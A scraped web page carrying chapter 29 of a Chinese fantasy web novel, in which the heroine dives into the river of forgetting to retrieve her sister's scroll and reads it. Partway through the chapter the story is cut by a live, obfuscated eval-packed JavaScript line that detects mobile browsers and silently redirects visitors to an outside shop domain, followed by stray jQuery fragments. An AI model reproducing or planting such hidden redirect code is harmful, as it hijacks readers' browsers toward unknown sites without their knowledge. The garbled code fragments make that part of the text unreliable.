文趣网 > 其他小说 > 逆神第一咸鱼 > 29. 第二十九章
    冷灵看着他们拌嘴,嘴角动了一下。

    这一次是真的动了。

    她很久没有在听到别人吵架的时候觉得轻松了。

    这几千年里,她听到的大多是刀剑相击声和逃亡时的风声。

    云妉和风涧的吵闹,像往一潭死水里丢了一块石子,虽然涟漪不大,但至少水动了。

    “走吧。”她说,“去第三渡口。”

    卷藏殿外,彼岸花海在青白色的月光下摇成一片红色的潮水。

    冷灵穿过花丛时,那些细长的花瓣轻轻擦过她的袖口和裙摆,像无数双不敢出声的手在拉她的衣角。

    她低头看了一眼。花茎上挂着一滴露水,露水里倒映着一小片星空。

    那不是她熟悉的夜空,但星星的位置让她觉得很安全。

    第三渡口在卷藏殿西北方向大约两里地。

    忘川河在这里拐了一个弯,水流比别处更急,灰白色的河水在月光下泛着珍珠母贝一样的光泽。

    河面上没有船,也没有摆渡人。

    只有一条窄窄的石板栈道从岸边伸入河心,尽头没入水中。

    冷灵站在栈道尽头,河风吹动她的衣摆。

    她低头看着水面。

    水下七尺处,隐约能看到一团暗沉沉的光,像被水泡了很久的旧灯笼。

    “就是那里。”玄溟站在她身后两步远,保证她出问题,自己第一时间能够察觉到。

    “但你这样直接下去不行。忘川水会冻住你的神脉,你的星辉在水下会流失得更快。”玄溟道。

    “那怎么办?”冷灵转过头,看向他。

    玄溟从腰间解下铜镜,双手握住镜缘,将镜面平放在水面上。

    铜镜竟然没有沉下去,而是浮在了灰白色的河水表面,镜面微微发烫,像是被什么力量加热了。

    “铜镜可以短暂隔绝忘川水对你星辉的侵蚀。”他说,“但只有半盏茶的功夫。半盏茶内,你必须把东西捞上来。”

    “半盏茶够吗?”冷灵问道。

    “够不够,取决于你下潜的速度。”玄溟看着她,“我会在岸上拉住镜链。如果你在水下遇到任何问题,拽一下镜链,我就把你拉上来。”

    云妉蹲在岸边,紧张地捏着铜铃:“冷灵,要不别了吧?不行我们就想别的办法,比如用风涧的古简去捞……”

    “古简不防水。”风涧面无表情道。

    “那你把古简举起来当伞用!”云妉瞪了他一眼。

    “那是纸。纸遇水会烂。”风涧解释了一句。

    “你就不能变个法术让它防水?”云妉不服气道。

    “我变了。”风涧面无表情地把古简举过头顶,“它现在防水了。”

    云妉看了看他举着古简站在河边的样子,默默转头看向河面,“算了,冷灵你还是下去吧。风涧靠不住。”

    冷灵在栈道尽头蹲了下来,用手探了一下河水。

    指尖触水的瞬间,她感觉一股极寒从指尖直窜到肩胛,像被人从骨头缝里灌了一捧冰渣。

    她收回手,甩了甩水珠,半晌,她缓缓道:“……确实很冷。”

    “你现在改变主意还来得及。”玄溟道。

    他是真的不忍心,看着她受苦。

    冷灵没有回答。她把晨光发绳从发间解下来。

    那是曦光在创世初期送给她的,几千年来她一直系在发间,从未取下。

    她把发绳仔细地缠在自己左手腕上,然后对玄溟道:“拉链。”

    玄溟握紧铜镜边缘延伸出的那条银白色细链,点了点头。

    冷灵深吸一口气,纵身跃入忘川。

    入水的瞬间,整个世界被灰白色的水幕吞没。

    她睁开眼,发现忘川水比想象中清澈。虽然是灰白色的,但能见度不错。

    水下漂浮着无数细小的光点,像萤火虫在水里游动,那是沉入忘川的零星星辉,来自不同时代的星官们在下潜时被河水剥离的碎片。

    冷灵避开那些光点,径直下潜。

    她发现自己的星辉正在加速流失。

    就像有人在她身上开了好几个小孔,银白色的光芒从她的指尖、发梢、衣缝里一缕一缕地流出,融入灰白色的河水中。

    她忍着那种被抽空的感觉,继续下潜。

    七尺的距离比她想象中深。

    她游到水下时,发现那团暗沉沉的光是一卷被黑色绢布包裹的卷轴,用一根银色的丝线系在一块河底的青石上。

    青石上刻着一行字。

    不是刻的,是写的,用太阳金粉写的。

    「若有后来者见此卷,请转交冷灵。若她就是后来者,替我告诉她……」

    字迹到这里断了。

    冷灵伸手去解那根银丝线。

    她的指尖在颤抖,不是因为冷,是因为那行字。

    姐姐写下这行字的时候,是什么心情?是清醒的吗?是抱着多大的希望,才会把一卷逆解法沉入忘川,并留下转交冷灵的嘱托?

    银丝线解开了。

    她握住那卷黑色绢布,感觉到布面上残留着一丝极微弱的暖意。

    那是太阳的温度,几千年来未曾散尽。

    她正要上浮,河底的石缝里突然涌出一股暗流。

    不是水流,是一股由无数黑色的,细如发丝的怨念组成的暗潮。它们从河底的淤泥里翻涌起来,缠住了她的脚踝和手腕。

    那是沉在忘川底部的亡魂的执念。

    有些忘得太久了,只剩下一团漆黑的怨气,不再属于任何活物或死者。

    它们感应到冷灵身上流出的星辉,像一群饥饿了很久的东西,开始拼命地往上攀爬。

    冷灵挣扎了一下,但那些黑色细丝越缠越紧。

    她的星辉流失得更快了,胸口开始发闷,肺部像是被冰水灌满。她下意识地拽了一下手腕上的银链。

    岸上。

    玄溟感觉到链子猛地一紧,他立刻收链。铜镜在水面上发出一声低沉的嗡鸣,链子开始回收。

    但水下的黑色细丝还在往上爬,像是要把冷灵拽回去。

    “她在水下被东西缠住了!”云妉跳起来,“风涧!你的古简能不能——”

    风涧已经合上了古简,快步走到栈道尽头,蹲下,将右手浸入水中。

    他低声念了一段极短的咒语,掌心的青光顺着水面扩散开,像一层薄冰封住了河面的波纹。

    那些黑色细丝在青光触及的瞬间松开了,不是被消灭,是被短暂地冻住了。

    冷灵借着那一瞬间的松弛,拼命往上游。</p

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17808616|210759||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    >

    她的肺部火烧火燎地疼,左手还死死攥着那卷黑色绢布。

    终于,她的手从水面上伸了出来,玄溟一把抓住她的手腕,将她从忘川河里拉了出来。

    她趴倒在栈道上,大口大口地喘气。

    全身湿透,晨光发绳还缠在左手腕上,完好无损。

    右手紧紧攥着那卷绢布。绢布表面完好,金粉写的字没有被水泡烂。

    见状,云妉连忙蹲下来拍她的后背,“冷灵!冷灵你没事吧!你脸色比冥界的鬼还白……”

    “你见过冥界的鬼吗……”冷灵咳嗽着说,“……它们本来就是白的。”

    “那你比它们还白!”云妉急得铜铃乱晃,“风涧你快看看她有没有事!”

    风涧蹲在冷灵对面,用古简探了一下她的额头,然后收回手,“星辉流失了大约三成。不算致命。但下次再下忘川,你需要养一年。”

    冷灵缓过气来,翻身躺在栈道上,仰面看着冥界灰白色的天空。

    月亮还挂在天顶,冷得像一块被磨薄了的玉石。她把那卷绢布举到眼前,布面上那行字在月光下泛着淡淡的金色。

    “……替我跟她说。”她低声念了一遍,“姐,你想跟我说什么?”

    “等你打开就知道了。”玄溟站在她旁边,铜镜已经收回腰间,但他的目光一直没离开她的脸。

    冷灵坐起身,解开绢布上的银丝线。

    绢布摊开,里面是一卷薄薄的金色帛书。帛书上密密麻麻地写满了字。

    字迹是曦光的,但和忘情司创立令上那种收敛的锋利不同。

    这卷帛书上的字迹潦草,急促,有些字甚至写到一半就歪掉了,像是写信的人被什么力量打断了思路,又拼命赶回来继续写。

    帛书开头第一行写着:

    「吾妹——

    若你看到此卷,说明忘川愿意让你找到它。

    忘川不会认错人。你来了,我就知道你还记得我。

    以下是我在清醒时写下的全部真相。

    请务必一字不漏地读完。

    因为下一次,我不确定自己还记得自己是谁。」

    冷灵握着帛书的手指微微发抖。

    云妉和风涧不约而同地后退了两步,给她留出空间。

    玄溟没有后退,但他转过了身,背对着她,像一座沉默的石碑,替她挡住可能来自四面八方的视线。

    冷灵低下头,开始读。

    她读了很久。久到月亮从西边移到了中天,久到云妉在岸边蹲得腿麻了换了好几个姿势,久到风涧默默从袖中取出另一卷备用的古简,开始在石板上做摘要记录。

    久到玄溟的铜镜在夜风中发出细小的,像叹息一样的嗡鸣。

    她读完最后一个字时,天已经快亮了。

    冥界没有真正的日出,但忘川河岸的彼岸花会在天亮前变得更深,深到近乎紫色,像被一夜的霜染过。

    冷灵把帛书小心地折好,放回黑色绢布里,重新系上银丝线。

    她站起来,膝盖有点发软,玄溟侧身扶了她一把。

    他的手指扣在她肘关节下方,力道不轻不重,像扶一件容易被碰碎的东西。

    “写了什么?”云妉凑上来,又赶紧退回去,“算了算了,你要不想说就不说。”